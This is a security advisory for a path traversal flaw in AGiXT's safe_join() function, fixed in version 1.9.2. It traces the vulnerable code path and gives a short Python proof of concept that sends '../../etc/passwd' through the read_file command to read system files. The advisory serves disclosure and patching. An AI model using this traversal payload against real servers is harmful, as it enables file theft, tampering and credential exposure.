High

AGiXT Vulnerable to Path Traversal in safe_join()

Disclosed: 08.04.2026
Updated: 11.10.2026 14:17

Summary

The safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.

Details

agixt/endpoints/Extension.py:165 (source) -> agixt/XT.py:1035 (hop) -> agixt/extensions/essential_abilities.py:436 (sink)

python

# source
command_args = command.command_args

# hop
response = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)

# sink
new_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split("/")))

PoC

python

# tested on: agixt<=1.9.1
# install: pip install agixt==1.9.1
 
import requests
 
BASE = "http://localhost:7437"
TOKEN = "<your_api_key>"
 
headers = {"Authorization": f"Bearer {TOKEN}"}
 
payload = {
    "command_name": "read_file",
    "command_args": {
        "filename": "../../etc/passwd"
    }
}
 
r = requests.post(f"{BASE}/api/agent/MyAgent/command", json=payload, headers=headers)
print(r.text)
# expected output: root:x:0:0:root:/root:/bin/bash ...

Impact

Authenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.

Affected software

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Platform	Package	Vulnerable versions	Fixed in
Python (PyPI)	agixt	< 1.9.2	1.9.2

References

CVSS score 8.8/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE): CWE-22
Platform: Python (PyPI)
Package: agixt
Disclosed: 08.04.2026
Updated: 11.10.2026 14:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2093 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-5gfj-64gh-mgmw - CC BY 4.0

Vulnerability history: agixt

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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